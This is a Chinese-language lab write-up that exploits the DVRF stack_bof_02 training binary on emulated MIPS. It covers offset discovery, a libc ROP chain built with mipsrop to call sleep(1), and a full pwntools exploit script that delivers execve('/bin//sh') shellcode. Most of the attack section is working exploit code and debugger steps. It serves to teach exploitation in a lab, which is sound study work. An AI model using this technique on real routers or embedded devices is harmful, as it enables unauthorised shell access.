DVRF 的第二个栈溢出程序是 stack_bof_2,这题和上一道题的差异就在于这道题没有给我们后门函数,需要自己构造 shellcode 来进行调用。
README 文件里也做了说明,所以这里的重点是 ROP 链的构造以及 sleep(1) 的用法。
和上一道题一样,首先我们需要确定 ra 的偏移。
使用 patternLocOffset.py 生成 500 个长度的 pattern(或者使用 pwntools 里的自带的工具 cyclic),并开启 gdb 调试端口
[email protected]:~/iot/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root$ python ../../../../tools/patternLocOffset.py -c -l 500 -f ./pattern
[*] Create pattern string contains 500 characters ok!
[+] output to ./pattern ok!
[+] take time: 0.0106 s
[email protected]:~/iot/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root$ ./qemu-mipsel -g 23946 -L ./ ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./pattern`"
在 0x400928 处下断点,得到此时 ra 寄存器的值是 0x72413971
python ../../../../tools/patternLocOffset.py -s 0x72413971 -l 500
这里得到偏移是 508 个字节。
这里溢出到 $ra 寄存器需要 508 个字节,后面的四个字节就是需要构造的 ROP 的地址。
之所以要调用 sleep 函数的原因,
调用 sleep 函数的前提是先布置好他的参数 $a0 = 1。
所以这里我们先在 libc 中搜索一下将参数 1 赋值给 $a0 寄存器的 gadget: "li $a0,1"
gadget 的末尾是:
jr $s1
所以在原来覆盖栈数据时候就要求我们能够覆盖 $s1 寄存器,以达到跳转到下一个 gadget 的目的。
但是在 main 函数的汇编语句的末尾,没有找到类似 lw $s0,0x123($sp)
这样的汇编语句,所以我们无法控制 $s1 寄存器
所以这里我们需要先找到一个将栈上的数据传递给 $s1 寄存器的 gadget
这里使用 mipsrop.tail()
来搜索 gadget
找到的都不太能够满足我们的要求,这里根据下面这篇文章,找到一个特别不错的 gadget。也就是上图中 scandir
函数的结尾的部分
跳转到 0xAFE0 之后,我们就可以继续在原来的栈上布置下一步的 gadget
了。
使用 pwntools
工具生成填充文件
from pwn import *
libc_addr = 0x766e5000
payload = 'a' * 508
payload += p32(libc_addr + 0x0000Afe0)
with open('stack2_fill','wb') as f:
f.write(payload)
print("OK\n")
开启 gdb 调试:
./qemu-mipsel -g 23946 -L ./ ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./stack2_fill`"
还是断在 0x400928
处
单步,可见我们需要布置的下一个 gadget 的位置在 $sp+0x3c
(ra 寄存器位置)
根据调试,我们需要在原来的 payload
后面 padding 0x3c
个字节才能控制 ra 寄存器
libc_addr = 0x766e5000
payload = 'a' * 508
payload += p32(libc_addr + 0x0000Afe0) # jr $ra
payload += 'b' * 0x3c # padding
payload += 'c' * 4 # ra
在这填充的 0x3c 个字节中,我们对于 s0 - fp 寄存器的值都是可控的,那么接下来就好办了。在这 0x3c 个字节中,拆分填充成这几个寄存器的值就行了。
我们还是采用上面那个 0x0002FB10
地址的 gadget
,ra 设置为这个地址,那么这里的 s1 寄存器的值就需要填充为下一个 gadget
的地址
mipsrop.find("move $t9,$s3")
找到 0x00021C34
这个地址的 gadget
这里的 s3 寄存器就填充为 sleep 函数地址,调用完成之后继续返回到这个 gadget 的 jr $ra
。
这里的 ra 寄存器的值就填充为下一个 gadget
的地址
这时的 payload
:
from pwn import *
context.endian = 'little'
context.arch = 'mips'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
payload = 'a' * 508
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2 (0x21C34)-------------------
payload += 'c' * 0x2c
payload += p32(next_gadget_addr)
继续下一步的 gadget
的调用,我们这次使用 mipsrop.stackfinder()
找到 0x000171CC
这一处的 gadget
。
这里的 $a0 寄存器是从栈上来取值,我们就可以向 $a0 对应的位置填充我们的 shellcode。这里的 $s3 就需要在前一步的 gadget 中实现填充为类似 jr $a0
的 gadget
再次进行搜索,找到一处:
Python>mipsrop.find("move $t9, $a0")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000214A0 | move $t9,$a0 | jalr $a0 |
----------------------------------------------------------------------------------------------------------------
正好可以满足我们的条件。
因此在第二个栈的 payload
为:
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0x171CC) # ra
#payload += p32(libc_addr + 0x000214A0) # s3
#payload += 'd' * 4
payload += 'd' * 0x18 # shellcode
payload += shellcode
在这里找到可用的 shellcode,往栈上填充就行了。
shellcode += "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
在 gdb 中调试的效果是:
所以最后的 exp:
from pwn import *
context.endian = 'little'
context.arch = 'mips'
payload += "\xff\xff\x06\x28" # slti $a2, $zero, -1
payload += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
payload += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
payload += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
payload += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
payload += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
payload += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
payload += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
payload += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
payload += "\xff\xff\x05\x28" # slti $a1, $zero, -1
payload += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
payload += "\x0c\x01\x01\x01" # syscall 0x40404
shellcode = payload
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
payload = 'a' * 508
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2 (0x21C34)-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0x171CC) # ra
#payload += p32(libc_addr + 0x000214A0) # s3
#payload += 'd' * 4
payload += 'f' * 0x18 # shellcode
payload += shellcode
with open('stack2_fill','wb') as f:
f.write(payload)
重新加载一下程序就可以 getshell
./qemu-mipsel -L ./ ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./stack2_fill`"
from pwn import *
context.endian = 'little'
context.arch = 'mips'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
# sleep_end_addr = 0x767144c8
shellcode = ""
shellcode += "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = 'a' * 508
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0xAfe0) # ra
#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0) # s0
payload += 'a' * 4 # s1
payload += 'a' * 4 # s2
payload += 'a' * 4 # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x0001B230) # ra
payload += 'f' * 0x28
payload += shellcode
with open('stack2_fill','wb') as f:
f.write(payload)
print("OK\n")
个人认为构造 gadget
的要点是要思路要清晰,对栈的布局要有一个清楚的了解。还有就是需要熟悉 mipsrop 工具的使用。多动手调试,多踩坑才会长经验。
https://xz.aliyun.com/t/1511
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/